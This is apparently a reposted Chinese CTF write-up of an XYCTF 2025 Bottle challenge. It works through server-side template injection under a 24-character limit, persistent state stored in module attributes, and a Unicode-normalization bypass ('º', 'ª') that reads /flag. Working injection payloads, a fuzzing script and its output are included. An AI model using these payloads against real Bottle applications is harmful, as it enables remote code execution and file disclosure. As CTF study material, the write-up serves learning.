利用持久变量绕过长度限制 + unicode特性绕过waf-- xyctf 出题人已疯12 复现

news2025/4/13 0:22:22

本文章附带TP(Thinking Process)!

黑盒查看网站不具有功能,需要审计代码

# 定义/attack路径的路由
@bottle.route('/attack')
def attack():
    # 从请求的查询参数中获取payload
    payload = bottle.request.query.get('payload')
    # 检查payload是否存在,长度是否小于25,并且不包含open和\字符
    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
        # 使用bottle的模板功能返回包含payload的问候语
        return bottle.template('hello '+payload)
    else:
        # 如果条件不满足,返回400错误
        bottle.abort(400, 'Invalid payload')

# 主程序入口
if __name__ == '__main__':
    # 启动bottle服务器,监听所有IP地址,端口为5000
    bottle.run(host='0.0.0.0', port=5000)
  • 我需要尝试构造出小于25,并且不包含open和\字符的有效负载

  • 或者找到一种方式绕过小于25的限制

我需要回忆一下bottle所用的模板引擎及语法

模板引擎允许您在模板中嵌入python代码的行或块。代码行以开头 % 代码块被 <% 和 %> 令牌:

% name = "Bob"  # a line of python code
<p>Some plain text in between</p>
<%
  # A block of python code
  name = name.title().strip()
%>
<p>More plain text</p>

两个 % 以及 <% 只有当令牌是一行中的第一个非空白字符时,才能识别它们。

先尝尝试执行代码,添加换行符使得代码正常执行

%0a%print(1)

这成功了,但是题目无回显,直接运行短小的有效负载并不可能,我或许找到一种方式绕过小于25的限制

我们最大的有效负载长度为24,减去换行与百分号为22,我有办法使用22个字符执行命令吗

%0a%

执行系统命令至少需要

__import__("").system("")

可这已经超过了,有什么办法能干扰判断吗,payload如果是数组呢

  • 我是否有可能逐字写入文件然后运行?
  • 或者逐字写入变量内然后使用eval运行?
%0a%a=1
%0a%eval(a)
  • a没有被长久存储,模板中是否有可持久存储的变量?

查看所有可调用的方法/变量

%0a%print(globals())
{
    '_stdout': [
        'hello\n'
    ],
    '_printlist': <built-inmethodextendoflistobjectat0x773602c79340>,
    'include': functools.partial(<boundmethodSimpleTemplate._includeof<bottle.SimpleTemplateobjectat0x773602e32fe0>>,
    {
        ...
    }),
    'rebase': functools.partial(<boundmethodSimpleTemplate._rebaseof<bottle.SimpleTemplateobjectat0x773602e32fe0>>,
    {
        ...
    }),
    '_rebase': None,
    '_str': <functionSimpleTemplate.prepare.<locals>.<lambda>at0x773602c740d0>,
    '_escape': <functionSimpleTemplate.prepare.<locals>.<lambda>at0x773602c74160>,
    'get': <built-inmethodgetofdictobjectat0x773602c8c300>,
    'setdefault': <built-inmethodsetdefaultofdictobjectat0x773602c8c300>,
    'defined': <built-inmethod__contains__ofdictobjectat0x773602c8c300>,
    '__builtins__': {
        '__name__': 'builtins',
        '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.",
        '__package__': '',
        '__loader__': <class'_frozen_importlib.BuiltinImporter'>,
        '__spec__': ModuleSpec(name='builtins',
        loader=<class'_frozen_importlib.BuiltinImporter'>,
        origin='built-in'),
        '__build_class__': <built-infunction__build_class__>,
        '__import__': <built-infunction__import__>,
        'abs': <built-infunctionabs>,
        'all': <built-infunctionall>,
        'any': <built-infunctionany>,
        'ascii': <built-infunctionascii>,
        'bin': <built-infunctionbin>,
        'breakpoint': <built-infunctionbreakpoint>,
        'callable': <built-infunctioncallable>,
        'chr': <built-infunctionchr>,
        'compile': <built-infunctioncompile>,
        'delattr': <built-infunctiondelattr>,
        'dir': <built-infunctiondir>,
        'divmod': <built-infunctiondivmod>,
        'eval': <built-infunctioneval>,
        'exec': <built-infunctionexec>,
        'format': <built-infunctionformat>,
        'getattr': <built-infunctiongetattr>,
        'globals': <built-infunctionglobals>,
        'hasattr': <built-infunctionhasattr>,
        'hash': <built-infunctionhash>,
        'hex': <built-infunctionhex>,
        'id': <built-infunctionid>,
        'input': <built-infunctioninput>,
        'isinstance': <built-infunctionisinstance>,
        'issubclass': <built-infunctionissubclass>,
        'iter': <built-infunctioniter>,
        'aiter': <built-infunctionaiter>,
        'len': <built-infunctionlen>,
        'locals': <built-infunctionlocals>,
        'max': <built-infunctionmax>,
        'min': <built-infunctionmin>,
        'next': <built-infunctionnext>,
        'anext': <built-infunctionanext>,
        'oct': <built-infunctionoct>,
        'ord': <built-infunctionord>,
        'pow': <built-infunctionpow>,
        'print': <built-infunctionprint>,
        'repr': <built-infunctionrepr>,
        'round': <built-infunctionround>,
        'setattr': <built-infunctionsetattr>,
        'sorted': <built-infunctionsorted>,
        'sum': <built-infunctionsum>,
        'vars': <built-infunctionvars>,
        'None': None,
        'Ellipsis': Ellipsis,
        'NotImplemented': NotImplemented,
        'False': False,
        'True': True,
        'bool': <class'bool'>,
        'memoryview': <class'memoryview'>,
        'bytearray': <class'bytearray'>,
        'bytes': <class'bytes'>,
        'classmethod': <class'classmethod'>,
        'complex': <class'complex'>,
        'dict': <class'dict'>,
        'enumerate': <class'enumerate'>,
        'filter': <class'filter'>,
        'float': <class'float'>,
        'frozenset': <class'frozenset'>,
        'property': <class'property'>,
        'int': <class'int'>,
        'list': <class'list'>,
        'map': <class'map'>,
        'object': <class'object'>,
        'range': <class'range'>,
        'reversed': <class'reversed'>,
        'set': <class'set'>,
        'slice': <class'slice'>,
        'staticmethod': <class'staticmethod'>,
        'str': <class'str'>,
        'super': <class'super'>,
        'tuple': <class'tuple'>,
        'type': <class'type'>,
        'zip': <class'zip'>,
        '__debug__': True,
        'BaseException': <class'BaseException'>,
        'Exception': <class'Exception'>,
        'TypeError': <class'TypeError'>,
        'StopAsyncIteration': <class'StopAsyncIteration'>,
        'StopIteration': <class'StopIteration'>,
        'GeneratorExit': <class'GeneratorExit'>,
        'SystemExit': <class'SystemExit'>,
        'KeyboardInterrupt': <class'KeyboardInterrupt'>,
        'ImportError': <class'ImportError'>,
        'ModuleNotFoundError': <class'ModuleNotFoundError'>,
        'OSError': <class'OSError'>,
        'EnvironmentError': <class'OSError'>,
        'IOError': <class'OSError'>,
        'EOFError': <class'EOFError'>,
        'RuntimeError': <class'RuntimeError'>,
        'RecursionError': <class'RecursionError'>,
        'NotImplementedError': <class'NotImplementedError'>,
        'NameError': <class'NameError'>,
        'UnboundLocalError': <class'UnboundLocalError'>,
        'AttributeError': <class'AttributeError'>,
        'SyntaxError': <class'SyntaxError'>,
        'IndentationError': <class'IndentationError'>,
        'TabError': <class'TabError'>,
        'LookupError': <class'LookupError'>,
        'IndexError': <class'IndexError'>,
        'KeyError': <class'KeyError'>,
        'ValueError': <class'ValueError'>,
        'UnicodeError': <class'UnicodeError'>,
        'UnicodeEncodeError': <class'UnicodeEncodeError'>,
        'UnicodeDecodeError': <class'UnicodeDecodeError'>,
        'UnicodeTranslateError': <class'UnicodeTranslateError'>,
        'AssertionError': <class'AssertionError'>,
        'ArithmeticError': <class'ArithmeticError'>,
        'FloatingPointError': <class'FloatingPointError'>,
        'OverflowError': <class'OverflowError'>,
        'ZeroDivisionError': <class'ZeroDivisionError'>,
        'SystemError': <class'SystemError'>,
        'ReferenceError': <class'ReferenceError'>,
        'MemoryError': <class'MemoryError'>,
        'BufferError': <class'BufferError'>,
        'Warning': <class'Warning'>,
        'UserWarning': <class'UserWarning'>,
        'EncodingWarning': <class'EncodingWarning'>,
        'DeprecationWarning': <class'DeprecationWarning'>,
        'PendingDeprecationWarning': <class'PendingDeprecationWarning'>,
        'SyntaxWarning': <class'SyntaxWarning'>,
        'RuntimeWarning': <class'RuntimeWarning'>,
        'FutureWarning': <class'FutureWarning'>,
        'ImportWarning': <class'ImportWarning'>,
        'UnicodeWarning': <class'UnicodeWarning'>,
        'BytesWarning': <class'BytesWarning'>,
        'ResourceWarning': <class'ResourceWarning'>,
        'ConnectionError': <class'ConnectionError'>,
        'BlockingIOError': <class'BlockingIOError'>,
        'BrokenPipeError': <class'BrokenPipeError'>,
        'ChildProcessError': <class'ChildProcessError'>,
        'ConnectionAbortedError': <class'ConnectionAbortedError'>,
        'ConnectionRefusedError': <class'ConnectionRefusedError'>,
        'ConnectionResetError': <class'ConnectionResetError'>,
        'FileExistsError': <class'FileExistsError'>,
        'FileNotFoundError': <class'FileNotFoundError'>,
        'IsADirectoryError': <class'IsADirectoryError'>,
        'NotADirectoryError': <class'NotADirectoryError'>,
        'InterruptedError': <class'InterruptedError'>,
        'PermissionError': <class'PermissionError'>,
        'ProcessLookupError': <class'ProcessLookupError'>,
        'TimeoutError': <class'TimeoutError'>,
        'open': <built-infunctionopen>,
        'quit': Usequit()orCtrl-D(i.e.EOF)toexit,
        'exit': Useexit()orCtrl-D(i.e.EOF)toexit,
        'copyright': Copyright(c)2001-2023PythonSoftwareFoundation.

尝试发现这些变量都没有持久存储

我注意到我之前遗漏了文档中的一处语法

## 模板函数[¶](https://www.osgeo.cn/bottle/stpl.html#template-functions "永久链接至标题")

每个模板都预加载了一组函数,这些函数有助于处理最常见的用例。这些功能始终可用。你不必自己进口或提供。对于这里没有介绍的所有内容,可能都有好的python库可用。记住你可以 `import` 模板中的任何内容。毕竟它们是python程序。

在 0.12 版更改: 在此发布之前, [`include()`](https://www.osgeo.cn/bottle/stpl.html#stpl.include "stpl.include") 和 [`rebase()`](https://www.osgeo.cn/bottle/stpl.html#stpl.rebase "stpl.rebase") 是语法关键字,不是函数。

include(_sub_template_, _**variables_)[](https://www.osgeo.cn/bottle/stpl.html#stpl.include "永久链接至目标")

使用指定的变量呈现子模板,并将结果文本插入当前模板。函数返回一个字典,其中包含传递给子模板或在子模板中定义的局部变量:

% include('header.tpl', title='Page Title')
Page Content
% include('footer.tpl')

尝试

/attack?payload=%0a%include('app.py')

成功,服务器端代码与本地无任何差异,但是这似乎只能读取当前目录文件,读取绝对路径时会被禁止

%include('/flag')

DeprecationWarning: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path.

我该如何读取根目录的flag呢,我现应该分析库的代码来寻找现成的open并想办法调用

def template(*args, **kwargs):
    """
    获取渲染后的模板字符串迭代器。
    第一个参数可以是模板名称、文件名或模板字符串。
    渲染模板时的参数可以通过字典传递,或者直接作为关键字参数传递。
    """
    tpl = args[0] if args else None  # 获取第一个参数作为模板(如果有传入参数的话)
    
    # 遍历其它位置参数,更新关键字参数(kwargs)
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    
    # 获取模板适配器,默认为SimpleTemplate
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    
    # 获取模板查找路径,默认为TEMPLATE_PATH
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    
    # 使用模板查找路径和模板内容生成模板ID
    tplid = (id(lookup), tpl)
    
    # 如果模板未缓存或者处于调试模式,重新加载模板
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})  # 获取模板设置(如果有)
        
        # 如果tpl是适配器类型,则直接缓存该模板
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: 
                TEMPLATES[tplid].prepare(**settings)  # 如果有设置,调用prepare方法准备模板
        
        # 如果tpl包含模板标记符(如换行符、{}、%等),认为它是一个模板字符串
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)  # 从字符串创建模板
        
        # 否则,认为tpl是模板的文件名
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    
    # 如果模板未找到,则返回500错误
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    
    # 返回渲染后的模板
    return TEMPLATES[tplid].render(kwargs)

# 创建不同模板适配器的部分模板函数
mako_template = functools.partial(template, template_adapter=MakoTemplate)  # 使用Mako模板引擎
cheetah_template = functools.partial(template, template_adapter=CheetahTemplate)  # 使用Cheetah模板引擎
jinja2_template = functools.partial(template, template_adapter=Jinja2Template)  # 使用Jinja2模板引擎
class BaseTemplate(object):
    """ 模板适配器的基类和最小API """
    extensions = ['tpl', 'html', 'thtml', 'stpl']  # 支持的模板文件扩展名
    settings = {}  # 用于prepare()方法的设置
    defaults = {}  # 用于render()方法的默认值

    def __init__(self,
                 source=None,
                 name=None,
                 lookup=None,
                 encoding='utf8', **settings):
        """ 创建一个新模板。
        如果缺少source参数(str或buffer),则使用name参数来猜测模板文件名。
        子类可以假设self.source和/或self.filename已被设置。两者都是字符串。
        lookup、encoding和settings参数被存储为实例变量。
        lookup参数存储包含目录路径的列表。
        encoding参数应用于解码字节字符串或文件。
        settings参数包含引擎特定设置的字典。
        """
        self.name = name  # 模板名称
        # 如果source有read方法,则读取其内容;否则直接使用source
        self.source = source.read() if hasattr(source, 'read') else source
        # 如果source有filename属性,则获取文件名;否则设为None
        self.filename = source.filename if hasattr(source, 'filename') else None
        # 将lookup中的路径转为绝对路径,如果lookup为空则设为空列表
        self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
        self.encoding = encoding  # 编码方式
        self.settings = self.settings.copy()  # 从类变量复制设置
        self.settings.update(settings)  # 更新实例设置
        # 如果没有source但有name,则搜索模板文件
        if not self.source and self.name:
            self.filename = self.search(self.name, self.lookup)
            if not self.filename:
                raise TemplateError('Template %s not found.' % repr(name))
        # 如果既没有source也没有filename,则报错
        if not self.source and not self.filename:
            raise TemplateError('No template specified.')
        self.prepare(**self.settings)  # 调用准备方法

    @classmethod
    def search(cls, name, lookup=None):
        """ 在所有lookup指定的目录中搜索name。
        先搜索无扩展名的文件,再搜索带常见扩展名的文件。返回第一个匹配项。"""
        if not lookup:
            raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

        # 不允许使用绝对路径作为模板名
        if os.path.isabs(name):
            raise depr(0, 12, "Use of absolute path for template name.",
                       "Refer to templates with names or paths relative to the lookup path.")

        # 在lookup路径中搜索模板文件
        for spath in lookup:
            spath = os.path.abspath(spath) + os.sep
            fname = os.path.abspath(os.path.join(spath, name))
            if not fname.startswith(spath): continue  # 防止目录遍历攻击
            if os.path.isfile(fname): return fname  # 找到文件直接返回
            # 尝试添加扩展名查找
            for ext in cls.extensions:
                if os.path.isfile('%s.%s' % (fname, ext)):
                    return '%s.%s' % (fname, ext)

    @classmethod
    def global_config(cls, key, *args):
        """ 读取或设置存储在class.settings中的全局设置。"""
        if args:
            cls.settings = cls.settings.copy()  # 使设置对该类本地化
            cls.settings[key] = args[0]  # 设置新值
        else:
            return cls.settings[key]  # 返回值

    def prepare(self, **options):
        """ 运行准备工作(解析、缓存等)。
        应该可以再次调用此方法来刷新模板或更新设置。
        """
        raise NotImplementedError  # 需要子类实现

    def render(self, *args, **kwargs):
        """ 使用指定的局部变量渲染模板并返回单个字节或unicode字符串。
        如果是字节字符串,编码必须匹配self.encoding。此方法必须是线程安全的!
        局部变量可以通过字典(args)或直接作为关键字参数(kwargs)提供。
        """
        raise NotImplementedError  # 需要子类实现
class SimpleTemplate(BaseTemplate):
    """ 简单的模板引擎实现 """

    def prepare(self,
                escape_func=html_escape,  # 默认HTML转义函数
                noescape=False,           # 是否禁用转义
                syntax=None,             # 语法选项
                **ka):
        """ 模板预处理配置
        Args:
            escape_func: 转义函数,默认为HTML转义
            noescape: 如果为True则禁用转义
            syntax: 语法选项
        """
        self.cache = {}  # 模板缓存
        enc = self.encoding
        # 定义字符串转换和转义函数
        self._str = lambda x: touni(x, enc)  # 转换为unicode
        self._escape = lambda x: escape_func(touni(x, enc))  # 转义后转unicode
        self.syntax = syntax  # 语法配置
        if noescape:
            # 如果禁用转义,交换两个函数
            self._str, self._escape = self._escape, self._str

    @cached_property
    def co(self):
        """ 编译后的代码对象(缓存属性) """
        return compile(self.code, self.filename or '<string>', 'exec')

    @cached_property
    def code(self):
        """ 生成可执行的Python代码(缓存属性) """
        source = self.source
        if not source:
            # 如果没有source,从文件读取
            with open(self.filename, 'rb') as f:
                source = f.read()
        try:
            # 尝试转换为unicode
            source, encoding = touni(source), 'utf8'
        except UnicodeError:
            raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
        # 使用模板解析器转换模板代码为Python代码
        parser = StplParser(source, encoding=encoding, syntax=self.syntax)
        code = parser.translate()  # 转换模板为Python代码
        self.encoding = parser.encoding  # 更新编码
        return code

    def _rebase(self, _env, _name=None, **kwargs):
        """ 内部方法:处理模板继承 """
        _env['_rebase'] = (_name, kwargs)  # 存储继承信息和参数

    def _include(self, _env, _name=None, **kwargs):
        """ 内部方法:处理模板包含 """
        env = _env.copy()  # 复制环境变量
        env.update(kwargs)  # 更新包含的参数
        if _name not in self.cache:
            # 如果模板不在缓存中,创建新实例并缓存
            self.cache[_name] = self.__class__(
                name=_name, 
                lookup=self.lookup, 
                syntax=self.syntax
            )
        # 执行被包含的模板
        return self.cache[_name].execute(env['_stdout'], env)

    def execute(self, _stdout, kwargs):
        """ 执行编译后的模板代码 
        Args:
            _stdout: 输出缓冲区
            kwargs: 模板变量
        Returns:
            如果有继承则返回继承模板的结果,否则返回环境变量
        """
        # 初始化模板环境
        env = self.defaults.copy()  # 复制默认变量
        env.update(kwargs)  # 更新传入的变量
        # 添加模板内置函数和变量
        env.update({
            '_stdout': _stdout,  # 输出缓冲区
            '_printlist': _stdout.extend,  # 输出函数
            'include': functools.partial(self._include, env),  # 包含函数
            'rebase': functools.partial(self._rebase, env),  # 继承函数
            '_rebase': None,  # 继承标记
            '_str': self._str,  # 字符串转换
            '_escape': self._escape,  # 转义函数
            'get': env.get,  # 字典get方法
            'setdefault': env.setdefault,  # 字典setdefault方法
            'defined': env.__contains__  # 变量存在检查
        })
        # 执行编译后的模板代码
        exec(self.co, env)
        # 处理模板继承
        if env.get('_rebase'):
            subtpl, rargs = env.pop('_rebase')
            rargs['base'] = ''.join(_stdout)  # 保存当前输出作为base
            del _stdout[:]  # 清空输出缓冲区
            # 执行继承的模板
            return self._include(env, subtpl, **rargs)
        return env

    def render(self, *args, **kwargs):
        """ 渲染模板并使用关键字参数作为局部变量 
        Args:
            *args: 字典形式的模板变量
            **kwargs: 关键字形式的模板变量
        Returns:
            渲染后的字符串
        """
        env = {}  # 模板变量环境
        stdout = []  # 输出缓冲区
        # 合并所有模板变量
        for dictarg in args:
            env.update(dictarg)
        env.update(kwargs)
        # 执行模板
        self.execute(stdout, env)
        # 返回渲染结果
        return ''.join(stdout)

这里有一个很奇怪的点

elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:

代码判断其是否为路径是靠判断是否存在特殊符号,此负载也会生效

/attack?payload=/../app.py

库对目录穿越的防护很完善,我无法再想到任何方式绕过,或许是原型污染?

我可以设置任何属性的值

%0a%include=1;print(globals())

但是其命名空间均是独立的,我没有办法在模板内污染外围变量

放弃 ------------------------------------------------------------------------------------------------------

赛后

XYCTF 2025 出题人wp LamentXU - LamentXU - 博客园

可以改导入库的属性… 学到了!

%0a%import os;os.a+="{i}"

part2 ----------------------------------------------------------------------------

聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园

bottle使用exec执行模板内嵌的python代码

    def execute(self, _stdout, kwargs):
        """ 执行编译后的模板代码 
        Args:
            _stdout: 输出缓冲区
            kwargs: 模板变量
        Returns:
            如果有继承则返回继承模板的结果,否则返回环境变量
        """
        # 初始化模板环境
        env = self.defaults.copy()  # 复制默认变量
        env.update(kwargs)  # 更新传入的变量
        # 添加模板内置函数和变量
        env.update({
            '_stdout': _stdout,  # 输出缓冲区
            '_printlist': _stdout.extend,  # 输出函数
            'include': functools.partial(self._include, env),  # 包含函数
            'rebase': functools.partial(self._rebase, env),  # 继承函数
            '_rebase': None,  # 继承标记
            '_str': self._str,  # 字符串转换
            '_escape': self._escape,  # 转义函数
            'get': env.get,  # 字典get方法
            'setdefault': env.setdefault,  # 字典setdefault方法
            'defined': env.__contains__  # 变量存在检查
        })
        # 执行编译后的模板代码
        exec(self.co, env)
        # 处理模板继承
        if env.get('_rebase'):
            subtpl, rargs = env.pop('_rebase')
            rargs['base'] = ''.join(_stdout)  # 保存当前输出作为base
            del _stdout[:]  # 清空输出缓冲区
            # 执行继承的模板
            return self._include(env, subtpl, **rargs)
        return env

python的exec()会将一些特殊unicode解析为正常字符串,你可以在这里找到所有unicode

Unicode 16.0 字符代码表

你可以用任何全角英文字母以及其他被认为有字母属性的字符绕过waf。

def to_fullwidth(s):
    """
    将字符串中的所有英文字符转换为全角字符。

    参数:
    s (str): 输入的字符串

    返回:
    str: 转换后的字符串,其中的英文字符被转换为全角字符
    """
    result = []
    for char in s:
        code = ord(char)
        # 将 0x21 (33) 到 0x7E (126) 的字符转换为全角
        if 0x21 <= code <= 0x7E:
            result.append(chr(code + 0xFEE0))
        # 将空格字符转换为全角空格
        elif code == 0x20:
            result.append(chr(0x3000))
        else:
            result.append(char)
    return ''.join(result)

input_str = "print"
output_str = to_fullwidth(input_str)
print(output_str)
exec('print(1)')

但是当不编码时传过去会成直接成大写,编码了后端又成这样,python解码后每个成了两个字符

"{{ï½\x8fï½\x90ï½\x85ï½\x8e('/flag').read())}}"
# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    return payload
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

fuzz一手看看

from codes.WebAttack import *  
from codes.WebSockteAttack import *  
from codes.InjectTools import *  
  
io = WebAttack("""  
GET /attack?payload=%{$}{$} HTTP/1.1  
Host: 127.0.0.1:5000  
sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Accept-Language: zh-CN,zh;q=0.9  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate, br  
Connection: keep-alive  
  
""")  
  
number = '01234567890abcdef'  
number = list(number)  
  
for i in number:  
    for f in number:  
        print(f'%{i}{f} -> ' + io.send([i,f]).text)
%00 ->  
%01 -> 
%02 -> 
%03 -> 
%04 -> 
%05 -> 
%06 -> 
%07 -> 
%08 ->
%09 -> 	
%00 ->  
%0a -> 

%0b -> 
%0c -> 
%0d -> 
%0e -> 
%0f -> 
%10 -> 
%11 -> 
%12 -> 
%13 -> 
%14 -> 
%15 -> 
%16 -> 
%17 -> 
%18 -> 
%19 -> 
%10 -> 
%1a -> 
%1b -> 
%1c -> 
%1d -> 
%1e -> 
%1f -> 
%20 ->  
%21 -> !
%22 -> "
%23 -> #
%24 -> $
%25 -> %
%26 -> &
%27 -> '
%28 -> (
%29 -> )
%20 ->  
%2a -> *
%2b -> +
%2c -> ,
%2d -> -
%2e -> .
%2f -> /
%30 -> 0
%31 -> 1
%32 -> 2
%33 -> 3
%34 -> 4
%35 -> 5
%36 -> 6
%37 -> 7
%38 -> 8
%39 -> 9
%30 -> 0
%3a -> :
%3b -> ;
%3c -> <
%3d -> =
%3e -> >
%3f -> ?
%40 -> @
%41 -> A
%42 -> B
%43 -> C
%44 -> D
%45 -> E
%46 -> F
%47 -> G
%48 -> H
%49 -> I
%40 -> @
%4a -> J
%4b -> K
%4c -> L
%4d -> M
%4e -> N
%4f -> O
%50 -> P
%51 -> Q
%52 -> R
%53 -> S
%54 -> T
%55 -> U
%56 -> V
%57 -> W
%58 -> X
%59 -> Y
%50 -> P
%5a -> Z
%5b -> [
%5c -> \
%5d -> ]
%5e -> ^
%5f -> _
%60 -> `
%61 -> a
%62 -> b
%63 -> c
%64 -> d
%65 -> e
%66 -> f
%67 -> g
%68 -> h
%69 -> i
%60 -> `
%6a -> j
%6b -> k
%6c -> l
%6d -> m
%6e -> n
%6f -> o
%70 -> p
%71 -> q
%72 -> r
%73 -> s
%74 -> t
%75 -> u
%76 -> v
%77 -> w
%78 -> x
%79 -> y
%70 -> p
%7a -> z
%7b -> {
%7c -> |
%7d -> }
%7e -> ~
%7f -> 
%80 -> €
%81 -> 
%82 -> ‚
%83 -> ƒ
%84 -> „
%85 -> 

%86 -> †
%87 -> ‡
%88 -> ˆ
%89 -> ‰
%80 -> €
%8a -> Š
%8b -> ‹
%8c -> Œ
%8d -> 
%8e -> Ž
%8f -> 
%90 -> 
%91 -> ‘
%92 -> ’
%93 -> “
%94 -> ”
%95 -> •
%96 -> –
%97 -> —
%98 -> ˜
%99 -> ™
%90 -> 
%9a -> š
%9b -> ›
%9c -> œ
%9d -> 
%9e -> ž
%9f -> Ÿ
%00 ->  
%01 -> 
%02 -> 
%03 -> 
%04 -> 
%05 -> 
%06 -> 
%07 -> 
%08 ->
%09 -> 	
%00 ->  
%0a -> 

%0b -> 
%0c -> 
%0d -> 
%0e -> 
%0f -> 
%a0 ->  
%a1 -> ¡
%a2 -> ¢
%a3 -> £
%a4 -> ¤
%a5 -> ¥
%a6 -> ¦
%a7 -> §
%a8 -> ¨
%a9 -> ©
%a0 ->  
%aa -> ª
%ab -> «
%ac -> ¬
%ad -> ­
%ae -> ®
%af -> ¯
%b0 -> °
%b1 -> ±
%b2 -> ²
%b3 -> ³
%b4 -> ´
%b5 -> µ
%b6 -> ¶
%b7 -> ·
%b8 -> ¸
%b9 -> ¹
%b0 -> °
%ba -> º
%bb -> »
%bc -> ¼
%bd -> ½
%be -> ¾
%bf -> ¿
%c0 -> À
%c1 -> Á
%c2 -> Â
%c3 -> Ã
%c4 -> Ä
%c5 -> Å
%c6 -> Æ
%c7 -> Ç
%c8 -> È
%c9 -> É
%c0 -> À
%ca -> Ê
%cb -> Ë
%cc -> Ì
%cd -> Í
%ce -> Î
%cf -> Ï
%d0 -> Ð
%d1 -> Ñ
%d2 -> Ò
%d3 -> Ó
%d4 -> Ô
%d5 -> Õ
%d6 -> Ö
%d7 -> ×
%d8 -> Ø
%d9 -> Ù
%d0 -> Ð
%da -> Ú
%db -> Û
%dc -> Ü
%dd -> Ý
%de -> Þ
%df -> ß
%e0 -> à
%e1 -> á
%e2 -> â
%e3 -> ã
%e4 -> ä
%e5 -> å
%e6 -> æ
%e7 -> ç
%e8 -> è
%e9 -> é
%e0 -> à
%ea -> ê
%eb -> ë
%ec -> ì
%ed -> í
%ee -> î
%ef -> ï
%f0 -> ð
%f1 -> ñ
%f2 -> ò
%f3 -> ó
%f4 -> ô
%f5 -> õ
%f6 -> ö
%f7 -> ÷
%f8 -> ø
%f9 -> ù
%f0 -> ð
%fa -> ú
%fb -> û
%fc -> ü
%fd -> ý
%fe -> þ
%ff -> ÿ

根据师傅的文章

ª (U+00AA),º (U+00BA)执行的时候等效于字符a,o

/attack?payload={{%BApen(%27/flag%27).re%aad()}}

end

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2333455.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DeepSeek 都开源了哪些技术?

DeepSeek作为中国领先的人工智能企业,通过开源策略推动了全球AI技术的普及与创新。以下是其官方公布的主要开源项目及其技术内容、应用场景和社区反馈的详细分析: 1. FlashMLA 技术描述:专为Hopper架构GPU优化的高效MLA(Multi-Layer Attention)解码内核,针对可变长度序列…

P8754 [蓝桥杯 2021 省 AB2] 完全平方数

题目描述 思路 一看就知道考数学&#xff0c;直接看题解试图理解(bushi) 完全平方数的质因子的指数一定为偶数。 所以 对 n 进行质因数分解&#xff0c;若质因子指数为偶数&#xff0c;对结果无影响。若质因子指数为奇数&#xff0c;则在 x 中乘以这个质因子&#xff0c;保证指…

ADGaussian:用于自动驾驶的多模态输入泛化GS方法

25年4月来自香港中文大学和浙大的论文“ADGaussian: Generalizable Gaussian Splatting for Autonomous Driving with Multi-modal Inputs”。 提出 ADGaussian 方法&#xff0c;用于可泛化的街道场景重建。所提出的方法能够从单视图输入实现高质量渲染。与之前主要关注几何细…

0501路由-react-仿低代码平台项目

文章目录 1 react路由1.1 核心库&#xff1a;React Router安装 1.2 基本路由配置路由入口组件定义路由 1.3 导航方式使用 <Link> 组件编程式导航 1.4 动态路由参数定义参数获取参数 1.5 嵌套路由父路由配置子路由占位符 1.6 重定向与404页面重定向404页面 1.7 路由守卫&a…

OpenAI即将上线新一代重磅选手——GPT-4.1

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

【蓝桥杯】赛前练习

1. 排序 import os import sysn=int(input()) data=list(map(int,input().split(" "))) data.sort() for d in data:print(d,end=" ") print() for d in data[::-1]:print(d,end=" ")2. 走迷宫BFS import os import sys from collections import…

Windows 系统下用 VMware 安装 CentOS 7 虚拟机超详细教程(包含VMware和镜像安装包)

前言 资源 一、准备工作 &#xff08;一&#xff09;下载 VMware Workstation &#xff08;二&#xff09;下载 CentOS 7 镜像 二、安装 VMware Workstation&#xff08;比较简单&#xff0c;按下面走即可&#xff09; 三、创建 CentOS 7 虚拟机 四、安装 CentOS 7 系统…

五、用例篇

